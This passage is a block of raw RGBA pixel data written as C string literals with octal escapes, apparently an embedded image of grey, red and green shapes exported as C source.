"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377=\000\000\377\000\000\000\377\240\240\240\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\223"
"\223\223\377\025\025\025\377\000\000\000\377\001\013\001\377\000\231\000\377\000\376\000\377\000"
"\377\000\377\000\375\000\377\000\210\000\377\000\010\000\377\000\000\000\377&&&\377\254\254\254"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\230\224\224\377"
"ppp\377ppp\352ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\232\232"
"\232\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\267\267\267\377\000\000\000\377\036\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\207"
"\000\000\377\000\000\000\377```\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377```\377\000\000\000\377\212\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377>\000\000\377\000\000"
"\000\377\237\237\237\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\307\307\307"
"\377TTT\377\001\001\001\377\000\000\000\377\000=\000\377\000\334\000\377\000\377\000\377\000\377\000"
"\377\000\334\000\377\000:\000\377\000\000\000\377\001\002\001\377bbb\377\313\313\313\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\230\224"
"\224\377ppp\377ppp\352ppp\377ppp\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377"
"\232\232\232\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\320\320\320\377\007\007\007\377\001\000\000"
"\377\362\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\261\000\000\377\000\000\000\377===\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377```\377\000\000\000\377\212\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377>\000\000"
"\377\000\000\000\377\237\237\237\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\234\234\234\377\032\032"
"\032\377\000\000\000\377\000\007\000\377\000\210\000\377\000\373\000\377\000\377\000\377\000\377\000\377"
"\000\231\000\377\000\016\000\377\000\000\000\377\035\035\035\377\241\241\241\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\231\225\225\377ppp\377ppp\353ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377&&&\377\000\000\000\377\313\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\332\000\000\377\000\000\000\377\025\025\025\377\321\321\321\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377```\377\000"
"\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377>\000\000\377\000\000\000\377\237\237\237\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\310\310\310\377TTT\377\001\001\001"
"\377\000\000\000\377\000\063\000\377\000\324\000\377\000\377\000\377\000\377\000\377\000\346\000\377"
"\000I\000\377\000\000\000\377\000\000\000\377TTT\377\306\306\306\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\231\225\225\377ppp\377ppp\353ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377JJJ\377\000\000\000\377\237\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\035\000\000\377\000\000\000\377\253\253"
"\253\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377?\000\000\377\000\000\000\377\236\236\236\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\236\236\236\377\034\034\034\377\000\000\000\377"
"\000\006\000\377\000\210\000\377\000\373\000\377\000\377\000\377\000\377\000\377\000\257\000\377\000"
"\026\000\377\000\000\000\377\024\025\024\377\225\225\225\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\231\225\225\377ppp\377"
"ppp\353ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\233\233\233\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377nnn\377\000\000\000\377t\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377b\000\000\377"
"\000\000\000\377rrr\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377?\000\000\377\000\000\000\377\236\236\236\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\312\312\312\377TTT\377\002\002\002\377\000\000\000\377\000\061\000\377\000\322"
"\000\377\000\377\000\377\000\377\000\377\000\356\000\377\000U\000\377\000\000\000\377\000\000\000\377B"
"BB\377\300\300\300\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\217"
"\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\231\225\225\377ppp\377ppp\353pp"
"p\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\233\233\233\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\221\221\221\377\000\000\000\377B\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\245\000"
"\000\377\000\000\000\377\063\063\063\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377@\000\000\377\000\000\000\377\235\235"
"\235\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\246\246\246\377\"\"\"\377\000\000\000\377\000\005\000\377\000\210\000\377\000\372"
"\000\377\000\377\000\377\000\377\000\377\000\276\000\377\000\037\000\377\000\000\000\377\016\016\016"
"\377\214\214\214\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\230\225\225\377ppp\377ppp\354ppp\377ppp\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377"
"ppp\377\233\233\233\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\306\306\306"
"\377\004\004\004\377\005\000\000\377\360\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\364\000\000\377\016\000\000\377\000\000\000\377\257\257\257\377"
"\322\322\322\377\322\322\322\377\322\322\322\377```\377\000\000\000\377\212\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377@\000\000\377\000\000\000\377\235\235\235\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\314\314\314\377bbb\377\003\003\003\377\000\000\000\377\000(\000\377\000\311\000\377\000\377"
"\000\377\000\377\000\377\000\365\000\377\000f\000\377\000\001\000\377\000\000\000\377\066\066\066\377"
"\270\270\270\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\230\225\225\377ppp\377ppp\354ppp\377ppp\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377}||\377ppp\377\233\233\233\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\061\061\061\377\000\000\000\377\257\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377c\000\000\377\000\000\000\377"
"bbb\377\322\322\322\377\322\322\322\377\322\322\322\377```\377\000\000\000\377"
"\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377A\000\000\377\000\000\000\377\234\234\234\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\250"
"\250\250\377$$$\377\000\000\000\377\000\003\000\377\000w\000\377\000\367\000\377\000\377\000\377"
"\000\377\000\377\000\314\000\377\000*\000\377\000\000\000\377\010\010\010\377~~~\377\321\321\321"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\230\225\225\377ppp\377ppp\354ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\233\233\233\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377lll\377\000\000\000\377f\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\311\000\000\377\000\000\000\377\015"
"\015\015\377\304\304\304\377\322\322\322\377\322\322\322\377```\377\000\000\000\377"
"\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377A\000\000\377\000\000\000\377\234\234\234\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\320\320\320\377rrr\377\006\007\006\377\000\000"
"\000\377\000\036\000\377\000\273\000\377\000\377\000\377\000\377\000\377\000\375\000\377\000\214\000"
"\377\001\010\001\377\000\000\000\377###\377\251\251\251\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203"
"\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\230\225\225\377ppp\377ppp\354ppp\377ppp\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377}||\377ppp\377\233\233\233\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\247\247\247\377\000\000\000\377\035\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377H\000\000\377\000\000\000\377ccc\377\322\322\322\377\322\322\322\377```\377\000\000"
"\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377A\000\000\377\000\000\000\377\234\234\234\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\252\252\252\377&&&\377\000\000\000\377\000\002\000\377\000"
"w\000\377\000\366\000\377\000\377\000\377\000\377\000\377\000\330\000\377\000\066\000\377\000\000\000"
"\377\004\004\004\377ppp\377\317\317\317\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\231\225\225\377ppp\377ppp\355ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\233\233\233\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\320\320\320\377\027\027\027\377\000\000\000\377\300"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\314\000\000\377W\000\000"
"\377\067\000\000\377\211\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\311\000\000\377\000\000\000\377\010\010\010\377\267\267\267\377\322\322\322\377```\377"
"\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377B\000\000\377\000\000\000\377\234\234\234\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
